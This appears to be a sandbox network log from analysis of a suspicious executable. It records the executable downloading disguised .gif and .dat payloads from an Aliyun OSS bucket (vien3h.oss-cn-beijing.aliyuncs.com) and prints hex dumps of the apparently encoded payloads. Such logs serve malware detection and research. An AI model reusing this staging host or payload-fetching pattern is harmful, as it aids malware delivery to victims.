2025-01-15 03:22:40 UTC	4096	IN	Data Raw: 51 9b dc 16 6d 8f ed 48 d2 10 91 71 cd 9e a0 49 dd 58 5b 5a ee 24 8d 76 f9 aa ac ad e6 2c 74 91 e9 70 78 fd 35 76 88 f1 45 9e 19 2d be bf 0c 89 41 02 f4 8d 39 e2 69 59 ca cb 00 85 47 93 f4 d9 9e 5a 98 f1 f6 80 90 5a 36 fb 95 56 07 96 6b 19 69 e9 0c 8d ec e7 e8 79 a2 60 eb a5 65 e7 b8 7a 73 7b f4 f5 f6 07 07 f9 71 f0 14 59 f4 ff 00 49 89 5f 20 35 4e 84 cc 29 55 c8 c0 45 87 53 34 19 5e 9a 58 31 36 40 50 9a f6 3b 55 96 c7 56 ab d9 a9 29 cc 0d 2c 27 28 b9 62 a0 23 1e fc 67 bb 38 da 95 36 35 36 a7 b3 32 d2 5d 36 3d 3e 77 cb 1d 66 73 0c c6 82 67 17 8a 86 87 80 05 c7 13 74 59 1e da 18 71 76 00 10 da b6 7b 15 d6 87 16 eb 99 e9 69 8c 8d 6f 67 68 f9 22 e0 2b 65 26 e4 60 39 f9 7c 3c fe 64 3f f3 70 92 25 7e 7d 7e ef 0b 8a 6a 9d 8e 85 86 cf 03 d5 ae bb c4 0e 4a af cf Data Ascii: QmHqIX[Z$v,tpx5vE-A9iYGZZ6Vkiy`ezs{qYI_ 5N)UES4^X16@P;UV),'(b#g86562]6=>wfsgtYqv{iogh"+e&`9\|<d?p%~}~jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:42 UTC	105	OUT	GET /c.gif HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:42 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:42 GMT Content-Type: image/gif Content-Length: 10681 Connection: close x-oss-request-id: 67872A025423BA3533582345 Accept-Ranges: bytes ETag: "10A818386411EE834D99AE6B7B68BE71" Last-Modified: Mon, 13 Jan 2025 12:21:18 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10287299869673359293 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: EKgYOGQR7oNNma5re2i+cQ== x-oss-server-time: 7
2025-01-15 03:22:42 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-15 03:22:42 UTC	4096	IN	Data Raw: cf 62 ff 5a 3f 30 31 3a fe ee 75 37 8a ba 5b 85 e1 ec 6b 35 10 78 f6 6d 36 3d 23 d2 d0 cd ab db f8 37 32 1f 37 11 bf 96 19 b0 c6 be a6 a0 ee eb 24 5d 48 ae 73 f3 f5 c5 94 b0 70 dd c6 5c 11 f5 e3 28 66 41 36 66 ef 88 eb 8b 2d 92 d1 9e 9a 8e 78 c0 74 34 67 7b b1 f3 fc 59 49 81 89 f5 cf 42 a2 b8 b8 7a d9 bb 7f 45 04 62 02 52 34 b9 0e 45 7f ce ff c3 12 7c ec ed 9c 64 e7 85 d4 e8 6d e9 e8 2d c8 3d 69 6a 0d 66 e5 c2 e6 27 9e d7 9e 98 68 92 43 fb c4 05 18 16 a9 a8 72 cc e5 66 13 b1 0c 24 22 dc 23 42 b1 c5 b3 c5 9f fd f3 d6 88 82 8e d7 81 8f 50 ee 36 68 55 e9 6b 5a ae a1 ec ca 4e e8 e9 82 52 74 0c 38 e0 2c 9b 17 6f 51 cf 4d 52 2a df 70 1d 00 4d 53 4a 65 f0 2f 99 7a fa 82 f9 0c fb 20 75 c3 54 ed 1d 83 3b 0b af 29 d0 11 b9 47 4d 64 2c b9 73 9e 4e 8d b6 ee f3 66 39 Data Ascii: bZ?01:u7[k5xm6=#727$]Hsp\(fA6f-xt4g{YIBzEbR4E\|dm-=ijf'hCrf$"#BP6hUkZNRt8,oQMR*pMSJe/z uT;)GMd,sNf9
2025-01-15 03:22:42 UTC	3034	IN	Data Raw: 4c 5d 7f 79 25 b9 af f5 fa ff 2d d5 2f 9e 63 5a b4 eb 3c f8 2b dc 07 58 64 ef 7d 5f 68 f0 fa 8a e5 34 38 ff db ca a6 fb c5 61 06 c2 2a ef f0 07 da ad 1f 37 88 9e 3f 37 39 3a 64 4f 74 4c 1c 4f ed 8c 04 e8 32 2f 75 52 85 d3 c1 84 aa 26 20 b4 ef d2 50 e0 65 aa 59 8a eb 7f 04 7f cb 20 fc 09 65 90 40 b9 6c 83 0b ea fe ae a2 b0 2a 83 e0 55 8e c7 4f 10 9c 2e 0c 87 d5 7f 34 18 a1 4d 99 78 06 2b 80 c4 6e 0a 78 03 f4 c4 a6 5d 85 aa fc ce ec 05 9f 47 96 b7 e0 d0 c3 4d 07 1c 93 32 b7 41 1d f1 42 ea c2 af 1c 76 47 ce 69 21 ab b9 ca b8 0d 8c 28 8a f0 3e 70 0a d6 52 7a b0 e5 4d 54 5e 49 25 92 dc fe f8 6f c3 6a 72 b7 08 1a 6f 03 1f b2 0c dc f0 35 6c 4f a9 29 7a c1 f4 63 78 16 6c d9 94 34 46 75 19 48 f8 2d 56 35 df 65 55 d3 05 98 53 87 ae 10 a2 c3 46 bc c5 1c 6f 69 f0 27 Data Ascii: L]y%-/cZ<+Xd}_h48a7?79:dOtLO2/uR& PeY e@lUO.4Mx+nx]GM2ABvGi!(>pRzMT^I%ojro5lO)zcxl4FuH-V5eUSFoi'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:43 UTC	105	OUT	GET /d.gif HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:44 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:43 GMT Content-Type: image/gif Content-Length: 3892010 Connection: close x-oss-request-id: 67872A03B258223331C03B20 Accept-Ranges: bytes ETag: "E4E46F3980A9D799B1BD7FC408F488A3" Last-Modified: Mon, 13 Jan 2025 12:21:29 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3363616613234190325 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5ORvOYCp15mxvX/ECPSIow== x-oss-server-time: 49
2025-01-15 03:22:44 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 97 9b 9d 99 9d 9b 95 97 95 8b 8d 89 8d 8b b5 b7 b5 bb bd bf 2d db b5 b7 b1 8b 8d 8f 8d 8b 95 95 95 fb 9c 9f 9d 8b 95 97 95 8b 8d 8f 9d 8b f5 f7 f5 fb fd ff fd eb f5 f7 f5 8b 8d 8f 9d 8b 95 97 95 9b 9d 9f 9d 9b 95 87 95 8b 8d 8f 12 a4 b5 e6 b5 bb bd ff 4a 92 b5 3b b5 8b 8d 8f 0d eb 95 77 94 9b 9d df 82 fb 95 0f a8 8b 8d 8f 8d 8b 75 77 75 7b 7d 7f 1d 1b 75 47 60 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b b5 b7 b5 bb bd bf bd bb b5 b7 b5 8b 8d 8f 93 eb 95 d7 94 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f cd ae f5 7f f5 fb fd ff fd fb f5 f7 f5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d a1 f9 ee cd c3 b5 bb bd ef d4 ba b5 b7 a5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b 75 57 75 7b 1d 51 0f 1f 14 03 14 8b 8d f9 36 8b 95 Data Ascii: -J;wuwu{}uG`uWu{Q6
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 69 18 0b cc ef 77 23 0b dc 62 f5 92 bd ff f0 55 8b 71 aa 3a 3d 2b 0e e8 a2 e1 cd ea 57 ca 72 3f 3b a3 53 99 f3 19 2d 50 82 0e 0d 67 11 12 78 ff f7 c0 c2 9c d0 1f 35 b3 d6 c1 15 8b 71 1a 1f 9f 00 52 44 b6 6f bf 5c 42 7e 10 b4 79 e0 70 9b ec ea 3e 72 2b 74 62 9c c8 03 89 51 17 b4 ee 50 26 6c f4 04 88 dc ad 35 53 4d 06 b8 17 18 42 ac 5e c3 76 8a e3 0f 55 bd 10 fb 3f 3d a9 48 9d ea 3a a4 e2 a6 b4 3f 76 ce a4 1c 7c fb f9 82 7d fe 97 54 b4 b3 68 d2 ca 6b fa 63 cb 18 ff 4a 19 f9 7b ce a8 14 4b 2d e1 e4 ac ec 85 7b 1e 75 a1 29 ef 25 b4 c1 12 a6 c8 7c 21 bf 95 a2 cb d0 51 3b 62 af 3a aa cc 42 6d 00 8c 79 d0 be 06 b6 82 9f 76 84 17 1f 9e 9d b0 29 42 92 30 ee 02 cb 2e 78 cc a6 12 f0 07 e3 66 63 9f 49 05 39 61 2f 8e d5 7d 9a 70 87 1f c6 95 13 f3 f5 88 62 22 f4 1a 33 Data Ascii: iw#bUq:=+Wr?;S-Pgx5qRDo\B~yp>r+tbQP&l5SMB^vU?=H:?v\|}ThkcJ{K-{u)%\|!Q;b:Bmyv)B0.xfcI9a/}pb"3
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 59 fc a8 65 45 fc 8d 05 fd fb b3 9f 14 a2 f6 f8 cc c4 eb 39 9d d3 a3 9f a0 42 0a 18 58 74 c7 69 1d eb 8b bf f8 0a 86 d0 b8 94 b7 61 b0 9e 73 a2 69 b3 40 d3 c4 61 59 75 53 34 0e c7 4a cf b1 8f a5 1c 40 ae d5 10 f9 b3 9d 63 52 15 9e 8b 52 f6 a8 f0 ad 49 d7 f7 72 8e 78 64 f5 39 5f 0b 52 de 78 1c 55 45 37 4b fa 52 4d 22 ef 1a 7a 2b 77 55 11 34 b8 02 76 4b bc 41 00 36 50 70 72 34 04 b2 fc fc b3 02 62 64 d3 fa df dd e5 b8 e2 bd 6c e5 a6 e2 23 8e 49 61 66 4b de 3e d6 1f 11 74 6a d1 49 c0 da 1e df 8c f9 36 8a 61 dc e3 8e c6 1a 21 61 99 12 00 4b bc 3f 2f 86 71 66 94 e7 b9 fd a5 2f a6 09 9c b6 7f c9 3c 7d 99 5e d8 fd f5 f6 1c ce 71 0e c8 38 12 5d a5 a6 a8 b9 81 05 24 3e 7f 87 5f e9 b2 ac d8 50 4b 41 40 ae 76 80 40 a4 58 df 93 6f bb a4 25 c4 dc 1b f9 98 6d 46 50 50 Data Ascii: YeE9BXtiasi@aYuS4J@cRRIrxd9_RxUE7KRM"z+wU4vKA6Ppr4bdl#IafK>tjI6a!aK?/qf/<}^q8]$>_PKA@v@Xo%mFPP
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 82 6b 24 f1 76 c7 84 af a6 d8 72 87 9e 02 98 c2 20 b2 f1 7e 40 de 11 c4 b7 04 70 3b 4c f8 6d db 2d a9 ce 60 f5 10 4c 12 54 c5 c0 72 2e a1 d8 20 3a 3e 2a 25 eb 4b 0d 65 55 1a c4 48 1a 5e 6a 05 eb 8f 85 11 75 4e 9c 4d 91 ea 1e 6c 58 58 23 d5 a9 a7 43 0b 1c de b1 07 fa 5d 5e fb 87 19 ab 0f 82 15 1e ba 6f f1 63 c6 da 5d 0e ab af 31 1b bf 5a cd f6 53 1f 80 ab 2c 54 0f 0f 1b 81 1b a2 ce 13 0d 34 7e c8 33 6a cb 2c 24 f8 95 15 fe 8e 9d b5 5f fa 6f 6b 71 de 1e b5 8b 59 19 1d 09 5e ac 7c 16 63 9b d8 c8 b4 27 9d 9d bb 43 03 b0 6a a2 cc 20 6c 87 15 fd 83 53 0b 74 ba be 94 f4 dc 67 c5 f1 cb 96 3f f5 5d c0 5a b8 19 35 ae dd 45 b8 22 e8 49 6d f7 25 8d 40 da 70 d0 35 af 4d f4 b8 23 50 f0 45 df 6d c4 90 0a 98 39 7d 78 78 2e 64 92 61 cf c0 27 77 aa e9 3f f8 8d 38 ff 14 79 Data Ascii: k$vr ~@p;Lm-`LTr. :>*%KeUH^juNMlXX#C]^oc]1ZS,T4~3j,$_okqY^\|c'Cj lStg?]Z5E"Im%@p5M#PEm9}xx.da'w?8y
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: 7d 65 0f 82 22 33 6c 58 70 0d b8 a6 df ea 7b 6d 7a 5f 99 fd 73 8d 00 c9 26 96 32 5f 9a 2d 5f 52 cd c3 af 35 d2 10 ab ac 7d 75 1f 92 32 53 12 21 c0 0e a8 ca d8 dd c7 d0 35 03 63 e9 2c 3e eb 04 88 24 5d 20 1c fa f5 63 e0 67 b3 2a db a8 82 4f 91 91 6e 78 3a 77 32 95 d2 d2 f3 31 f7 3a 09 7f 6b 09 80 20 ed f3 ca fa b6 ca 1e 07 6f f1 ea 8e 7e 4f df f1 ee 66 ca 0f a7 51 14 14 36 25 dc 96 50 91 b0 60 93 09 88 28 f5 58 20 ee bf f1 ff 75 17 d6 a0 c8 e1 27 4f 1e 06 29 03 1c 90 34 5d e2 3e e3 1d 28 c6 67 37 ac 93 2b e2 78 8e 2e d7 4d 83 2a 0a 90 3e 9f 8f 15 a3 7a 0a 90 76 d6 47 dd 4b e2 82 19 56 f6 3f ee a6 6f 8c 4a 79 5f df 1d 79 90 90 40 b3 29 a8 08 35 66 cc 97 f8 29 cb b8 4b 89 f7 f9 13 42 7a ec 0b d1 0c f7 79 ec 74 3d d3 55 25 47 d7 82 00 94 7d a5 84 da b6 7d d4 Data Ascii: }e"3lXp{mz_s&2_-_R5}u2S!5c,>$] cgOnx:w21:k o~OfQ6%P`(X u'O)4]>(g7+x.M>zvGKV?oJy_y@)5f)KBzyt=U%G}}
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: e8 d2 e7 86 d8 b8 2d 86 04 1b e1 8b 98 09 7a 3b fe 9c 4d 52 15 f8 12 ed 29 9d a8 0f 40 e6 e5 0b eb ad 15 c7 ff 17 26 89 1c e1 b5 91 c7 16 33 50 17 9c 37 41 d3 06 73 61 28 5f ab 72 93 98 00 8a 6a 27 25 8b 41 b0 e7 2a 40 2e 6b be e6 f0 18 0c d2 28 51 ab 0c 08 02 67 5f 1a 0c 87 3a cc d9 74 dd c0 fd 7b 99 48 59 37 8d c3 26 3f 4d cf ea ea 8f 47 36 91 83 9c f4 2f 52 87 f9 10 b6 44 68 27 93 d2 36 2f 5d 2c 59 59 de 90 b4 e8 85 d4 e9 71 8f 42 65 b0 d8 16 f6 ff 1e 3b 4d 23 fa 1f 9e 5f 66 d6 96 8f 3f 35 40 28 de 44 3a fe c4 20 45 37 b3 18 0e ff ad 2b a7 83 7e 88 3a 6c b9 b9 31 4d dd 30 2d 5f e5 98 94 26 e7 f1 17 4f ba 13 8e 17 f2 ca 4c 08 6f 8e 74 4a 05 8d c4 24 3d 4b fb 22 c3 67 31 f6 85 11 26 a8 6e cf 31 7a 78 b7 f3 05 66 c0 b6 4d c3 3a 0e 1c bb 55 6d 30 27 5a a7 Data Ascii: -z;MR)@&3P7Asa(_rj'%A*@.k(Qg_:t{HY7&?MG6/RDh'6/],YYqBe;M#_f?5@(D: E7+~:l1M0-_&OLotJ$=K"g1&n1zxfM:Um0'Z
2025-01-15 03:22:44 UTC	4096	IN	Data Raw: ed 6d 99 07 e4 c7 b2 15 b2 42 6c 84 38 c1 7d 64 0c 9a 79 ff 71 01 27 59 e8 ac 0f 20 7d b1 81 7f 87 9c 7d 37 13 a4 d8 58 fb d7 aa 0d 1a 88 06 95 72 33 fc a9 08 eb 61 e5 1b 19 63 d2 aa 09 e2 b9 52 e1 a4 8a 08 e0 3b 67 e2 cf e9 55 97 b7 28 79 76 3f a4 7b d0 9c 14 c0 80 dc ab f5 4d 7c f8 cf 89 4a 4c ec 7a 99 13 8b 9f bf 89 fd cb 07 5c 57 9b f8 f0 51 1b 72 ea b3 52 b0 4e d4 50 16 0e f6 43 a8 45 5e f8 99 90 3e a9 4a 8f 23 54 4d 98 d2 f6 51 e0 54 ce c8 f3 3b ec 5d 4b 96 31 6f 39 fe 82 8b 66 a4 22 6a 74 1d 57 6f 34 15 b0 16 87 b1 79 02 74 8a 6e 8c ba ef c4 ed 35 cc c8 82 2e 56 35 d3 9b 89 05 6d 16 f0 98 8a 0e 66 25 2b c7 a1 c9 f5 3e b0 50 22 fe a6 40 5f f9 be 1c 04 3a 5e 6a f5 4b 68 7a cb ed b4 ba f8 98 a8 7f 86 9c b5 87 da e8 1e 72 b0 c5 a5 2a a9 48 4a cf 41 64 Data Ascii: mBl8}dyq'Y }}7Xr3acR;gU(yv?{M\|JLz\WQrRNPCE^>J#TMQT;]K1o9f"jtWo4ytn5.V5mf%+>P"@_:^jKhzr*HJAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	64325	39.103.20.17	443	5956	C:\Users\user\Desktop\2834573-3676874985.02.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:22:51 UTC	105	OUT	GET /s.dat HTTP/1.1 Connection: Keep-Alive User-Agent: Do Host: vien3h.oss-cn-beijing.aliyuncs.com
2025-01-15 03:22:52 UTC	560	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:22:52 GMT Content-Type: application/octet-stream Content-Length: 28272 Connection: close x-oss-request-id: 67872A0CF326DB3036A92588 Accept-Ranges: bytes ETag: "2AC3C99C7D1E95DE4BF58813DB50052A" Last-Modified: Wed, 15 Jan 2025 03:22:26 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9162651175235473116 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: KsPJnH0eld5L9YgT21AFKg== x-oss-server-time: 15
2025-01-15 03:22:52 UTC	3536	IN	Data Raw: f5 e2 28 b8 bb b8 b8 b8 bc b8 b8 b8 47 47 b8 b8 00 b8 b8 b8 b8 b8 b8 b8 f8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 50 b8 b8 b8 b6 a7 02 b6 b6 02 bf 7b 5a c3 7a 37 fa 16 63 5f 36 2c 7f 2f 5d 40 48 5d 3c 30 7d 3e 5f 50 50 51 25 71 33 34 14 46 41 5a 7a 33 34 7a 3e 35 29 5a 37 35 3e 3f 11 32 32 35 11 35 35 35 35 35 35 35 f6 81 47 5c db 89 40 66 e1 b3 7a 5c db 89 40 66 e1 b3 7b 5c e4 89 40 66 e8 cb e9 5c d8 89 40 66 e8 cb ef 5c d8 89 40 66 e8 cb f9 5c df 89 40 66 e8 cb f0 5c d5 89 40 66 e8 cb ee 5c da 89 40 66 e8 cb eb 5c da 89 40 66 34 0f 05 0e 89 db 12 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 64 71 34 34 50 b2 3c 34 c2 67 ad 62 62 62 62 62 62 62 62 62 92 62 40 Data Ascii: (GGP{Zz7c_6,/]@H]<0}>_PPQ%q34FAZz34z>5)Z75>?2255555555G\@fz\@f{\@f\@f\@f\@f\@f\@f\@f44444444444444444444444444dq44P<4gbbbbbbbbbb@
2025-01-15 03:22:52 UTC	4096	IN	Data Raw: 5f 05 23 23 56 27 a8 d8 33 c7 9d eb 2b a7 66 a7 83 f7 ef 2a 7e 0e 7a 6b e6 23 60 e2 be c6 b2 1d 08 46 3b 1d 1d 96 61 39 69 71 02 d2 a7 c2 59 15 5c 9c 11 31 89 34 31 31 b1 d8 bd 31 31 31 75 0a e5 79 0d b1 b4 b1 b1 31 da 49 d9 4c 5a 4c 4c 04 8f f4 4c 3f fc 4a 38 87 86 87 87 47 ac 2b 0a cc 09 ff 1e 84 0f 49 6c b1 90 b1 b1 f5 7e eb b1 7e 8d 3a f7 23 23 1a 3d 55 1c 1d d6 90 84 dc 1d fe de b7 75 bb 43 f3 36 f6 f4 bf 7b a3 b3 eb 2a e6 12 a7 6d a3 a3 e2 1b a3 a2 a3 a3 2a 6f d6 6b 25 92 60 2b 43 ca 06 43 ab 0f b6 ab ab ea 54 6d e2 63 27 ca e3 e3 e3 ab 62 a7 72 63 62 62 26 59 54 26 eb df 9b 10 58 d2 12 1e 36 5a 99 c5 bd c1 d1 5a bd f5 b1 f9 32 75 91 d0 cf d0 cc 8d 90 93 92 51 5e 5e 5e 92 92 92 92 da 19 56 da 53 82 d2 92 1b fa 82 da 53 aa c2 92 1b ea b2 d3 87 92 86 Data Ascii: _##V'3+f~zk#`F;a9iqY\1411111uy1ILZLLL?J8G+Il~~:##=UuC6{m*ok%`+CCTmc'brcbb&YT&X6ZZ2uQ^^^VSS
2025-01-15 03:22:52 UTC	4096	IN	Data Raw: 07 0a aa de df de de 96 1b c2 b2 b2 fa 3f fe 96 b6 d3 a5 5f 1a 6c 9f 6c b7 ab 28 48 78 54 49 48 48 b7 5d e9 fe e9 e9 a1 2c ed 85 91 6e 84 1f 86 86 86 0d c2 e6 f6 86 4f 14 4e cc b7 b2 c2 9e 3c 78 18 04 bf 47 bd ca b7 3a ef b6 5e d1 5e 5e 5e 1f 65 9d 2b 21 90 29 2b 2b 2b c2 ab ab ab ab 90 53 e5 ec d1 5a 0a 3a a6 25 5e a0 d3 84 58 97 f7 cf b6 cc 34 41 24 70 0c 90 28 46 0d 0d 0d 02 98 5b 1b 5b 9e 75 c7 a5 5d 28 4d 19 65 f9 41 2f 64 64 64 6b f1 32 72 32 f5 1e b0 76 0d 0f 78 1d 49 71 d5 6d 03 02 03 03 0c 99 cf 8f cf c7 24 ff 4c b4 4f 39 67 23 5f fb 43 09 42 43 43 4c d6 80 c0 03 ca 2b db 58 23 d1 ae b8 97 f2 8a b2 ff 9a ce f6 52 ea 84 85 84 84 3c 30 3c 3c 3c 33 78 e4 7d 56 a6 09 4a 0b 61 91 3e 15 7f 15 e5 91 fa a4 ce 15 ba ef 8f a4 54 fb 93 d2 b8 48 e7 ee a6 dc Data Ascii: ?_ll(HxTIHH],nON<xG:^^^^e+!)+++SZ:%^X4A$p(F[[u](MeA/dddk2r2vxIqm$LO9g#_CBCCL+X#R<0<<<3x}VJa>TH
2025-01-15 03:22:52 UTC	4096	IN	Data Raw: 30 4a 59 ce 0f c9 ba f8 0e 39 f9 8c 87 c4 73 45 cf 41 4f 0c f3 c4 84 0d fb cc 0f 79 76 31 fa 90 92 f6 1b 94 9e dd 17 7c 7e 1a f5 7d 8b bc 79 09 04 41 8a e0 e4 6b e4 ea a3 69 02 ee 67 ef a3 65 ad 2c a4 8c 89 f9 dc c1 4a 09 88 00 e9 03 74 14 5c 97 fd 1c 54 97 18 16 5f e9 df 5e d7 5f 2b ae e7 2d 4e a9 e4 2c 69 dc db 95 57 1f dc 10 00 1f 57 e0 d6 95 91 9f dc 6a a2 e2 6b 1f ec 56 94 dc 1f ba ba ba dc dc dc dc d3 c3 58 dc dc dc dc dc ba ba ba 4c 2a 2a dc 05 84 fc 05 25 25 25 56 67 2f ec 23 6d 95 21 e6 39 33 c9 71 ba 53 9a f2 33 72 2b 7f ba eb aa f2 31 75 3b 39 7d f6 69 77 34 cb fd 7c bd fc b5 f1 34 25 41 e1 7d fe 9d 62 94 e7 6b 6b 6b 0d 0d 0d 0d 02 12 89 0d 0d 0d 0d 0d 6b 9d 45 8c 76 8c 7c 73 8c 04 c6 cb eb cb cb cb 83 4a 22 4b 4b 4b 4b 44 5c 40 4e 4b 53 0f 41 Data Ascii: 